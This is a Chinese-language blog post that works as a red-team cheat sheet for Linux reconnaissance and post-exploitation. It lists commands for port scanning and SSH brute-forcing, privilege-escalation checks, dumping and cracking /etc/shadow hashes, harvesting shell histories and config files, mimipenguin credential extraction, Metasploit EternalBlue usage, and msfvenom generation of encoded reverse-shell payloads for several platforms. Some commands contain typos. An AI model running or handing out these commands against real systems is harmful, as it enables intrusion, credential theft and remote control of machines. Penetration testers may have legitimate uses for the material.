linux下信息搜集及msf工具用法

image

00x01.Linux下的信息收集

linux下多以端口扫描、IP扫描、MAC扫描等为主的手段进行信息搜集

NMAP之前期的信息收集

nmap作为渗透测试最常用的工具之一会出现在各种场景中,其功能也非常丰富,不仅可以扫描端口也可以探测指定网段存活主机。

扫描主机端口:

nmap -T5 -A -v -p- <target ip>

扫描一个IP段,探测存活主机:

nmap -sP <network address> </CIDR>

探测操作系统类型:

nmap -0 <target IP>

甚至指定相应脚本还可以扫描漏洞和爆破弱口令,如下:

寻找登录授权页面:

nmap -p 80 --script http-auth-finder <www.xxx.com>

SSH爆破:

nmap -p22 --script ssh-brute <target ip>

dns 域传送漏洞:

nmap -p 53 --script dns-zone-transfer.nse -v <target ip>

除了nmap工具以外,在需要扫描大量主机端口的情况下,masscan是一个非常推荐的手段:

Masscan 127.0.0.0/24 -p443  # 单端口扫描
Masscan 127.0.0.0/24 --top-ports 100 -rate 100000  # 快速扫描
Masscan 127.0.0.0/24 --top-ports 100 --excludefile exclude.txt # 排除指定目标
masscan 127.0.0.0/24 -p20,21,22,23,80,161,443,873,2181,3389,6379,7001,8000,8009,8080,9000,9009,9090,9200,9300,10000,50070 > results.txt

当然,这些远远不足以让攻击方拿下一台机器,这只是作为黑盒情况下的Linux主机信息收集的方式。

中期的信息收集

在运维人员能保证系统和软件维持在新版本、无弱口令、无特殊SUID文件、sudo命令的情况下,Linux提权是基本不可能的,但是安全很难做到万无一失。

在各种环境中存在各种不同版本的Linux系统,甚至类UNIX系统,比如:OpenSUSE、Fedora、Oracle Linxu、Slackware、FreeBSD、OpenBSD等等,所以先摸清系统版本信息是关键。

hostname                    # 查看服务器主机名命令
uname -a

image

查看内核信息:

uname -mrs
rpm -q <软件包名称>
dmesg | grep Linux
ls /boot | grep vmlinuz-

image

明白了系统的版本或发行版,下一步就针对这个搜索有关的提权漏洞,这里以 ubuntu20.04 为例,使用 Exploit-DB 的命令行搜索工具 searchsploit

searchsploit -w ubuntu 20.04 4.4.x

image

若是不存在提权漏洞的版本,那么注意点就要放到用户的信息上了。

id                          # 显示真实有效的用户 ID(UID)和组 ID(GID)
whoami                      # 当前用户
groups                      # 当前组
who                         # 显示目前登录系统的用户信息

image

比如SUID文件和sudo权限

找带 suid 的文件

find / -perm -u=s 2>/dev/null

image

查看当前用户执行哪些 sudo 命令无需密码

sudo -l

image

找到了可以sudo执行的文件又怎么提权呢?这里推荐一个网站 https://gtfobins.github.io/ 其中记录了大量的提权方案。

后期的信息收集

到了后期阶段,当攻击者成功提权,信息收集的目的其实偏向于扩大战果,而不是寻找突破口,红方人员会详尽一且办法,挖掘机器上有用的信息,然后作为跳板横向进攻。

知晓机器上运行着什么进程可以推测机器的定位

ps -aux                     # 列出所有进程以及相关信息命令
ps -ef
top                         # 总览系统全面信息命令,Ctrl + C 退出界面

image

image

image

安装了哪些程序?什么版本?是否正在运行?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

在查看一些常见的服务配置文件

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

如果时间充足,看一看日志文件也是很好的选择,这里就不多阐述,在之后的蓝队篇中会介绍。作为最高权限用户,shadow文件不可不看,万一跑出几个密码,横向渗透的成功率就会大大提高,将passwd和shadow文件下载到kali中进行unshadow,随后john爆破hash

mkdir /root/.john
cd /root/.john
unshadow passwd.txt shadow.txt > hash.txt

除了shadow意外也可以看一看其他敏感文件,比如数据库的配置、历史记录等

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

邮件也是一个关键点,某些场景下,可以发现非常敏感的信息。

ls -alh /var/mail/

除了本机器上的信息还要为拿下内网的其他机器做准备,摸清网络拓扑是必须的。

route
ip route        # 显示核心路由表
ip neigh        # 显示邻居表
cat /etc/resolv.conf  # 查看DNS
arp -e

00x03.Linux后渗透之信息收集(metasploit)

msf启动

输入命令msfconsole,-q命令是不显示msflogo

image

检查虚拟机

所述checkvm模块尝试来确定系统是否正在运行的虚拟环境的内部和如果是这样,哪一个。该模块支持 Hyper-V、VMWare、VirtualBox、Xen 和 QEMU/KVM 的检测。

image

枚举配置

enum_configs上普遍安装的应用程序和服务,如Apache,MySQL和桑巴,Sendmail的,等发现模块收集配置文件如果在默认路径中找到一个配置文件,该模块将认为是我们想要的文件。

image

枚举网络

所述enum_network从目标系统模块枚举网络信息的防火墙规则,接口,无线信息,打开和监听端口,活动的网络连接,DNS信息和SSH信息。

image

枚举保护

该enum_protections模块试图找到某些安装的应用程序,可用于防止,或发现我们的攻击,这是通过查找特定的二进制位置完了,看看他们是否确实可执行文件。例如,如果我们能够将 'snort' 作为命令运行,我们假设它是我们正在寻找的文件之一。该模块旨在涵盖各种防病毒、rootkit、IDS/IPS、防火墙和其他软件。

image

枚举系统

该enum_system模块收集系统信息。它收集已安装的包、已安装的服务、挂载信息、用户列表、用户 bash 历史记录和 cron 作业

image

用户具体信息HISTORY

该enum_users_history模块收集用户的具体信息。用户列表、bash 历史、mysql 历史、vim 历史、lastlog 和 sudoers。

image

00x04.Linux下抓取登陆用户密码神器mimipenguin

mimipenguin就像是windows中的Mimikatz。

下载命令:

git clone https://github.com.cnpmjs.org/huntergregal/mimipenguin 

root权限下运行,通过转储过程和提取那些包含明文密码可能性很高的行(hang),充分利用内存中的明文凭证。通过检查/etc/shadow文件hash,内存中的hash和正则匹配去尝试计算出每个单词的概率

image

00x05.msf工具简单用法

msf使用方法

1.使用方法

进入msf: 
msfconsolesearch
命令查找模块: 
search ms17-010use
进入模块: 
use exploit/windows/smb/ms17_010_eternalblue (search以后use 0)
模块详细信息查看: 
use了以后info,没use 之前 info exploit/windows/smb/ms17_010_eternalblue
设置攻击载荷: 
set payload windows/x64/meterpreter/reverse_tcp
查看模块需要的参数:
options
设置参数: 
set lhost 0.0.0.0(参数名似乎不区分大小写)
攻击:
run / exploit 都可以meterpreter后渗透阶段

2.rc脚本执行多个msf命令

msfconsole -r configure.rc

msfvenom生成shellcode

1 .一般生成

msfvenom
-p 载荷 
-f 输出格式 
-o 输出文件msfvenom 
-p windows/x64/meterpreter/reverse_tcp -f exe -o payload.exe
大部分时候也是需要一些配置 lhost lport这些:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe

2. 编码生成

msfvenom
	-a 系统架构
    --platform 系统平台
    -p 有效载荷
    lhost=攻击机IP
    lport=攻击机端口
    -e 编码方式
    -i 编码次数
    -f 输出格式
    -o 输出文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe
一般来说 -a可以不用,--platform也可以不用

3. 查看支持的系统架构

msfvenom -l archs

4. 查看支持的系统平台

msfvenom -l platforms

5. 列出所有payload

msfvenom -l payload

6. 列出所有的输出格式

msfvenom -l formats

7. 列出所有的加密方式

msfvenom -l encrypt

8. 列出所有的编码器

msfvenom -l encoders

常见生成格式

1.windows

msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3-ex86/shikata_ga_nai -f exe -o payload.exe

2. Linux

msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -opayload.elf

3. Mac

msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho

4. Android

msfvenom -p android/meterpreter/reverse_tcp -o payload.apk

5. Aspx

msfvenom --platform windows -p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx

6. Jsp

msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp

7. PHP

msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php

8. Bash

msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh

感言:

信息搜集是一个浩瀚的工程55555
image

参考资料:

红队视角下Linux信息收集
Linux后渗透之信息收集(metasploit)
Linux下抓取登陆用户密码神器mimipenguin
Metasploit&Cobalt Strike 基础

MSF-Metasploit(基础)

posted @ 2021-11-28 20:49  404p3rs0n  阅读(395)  评论(0编辑  收藏  举报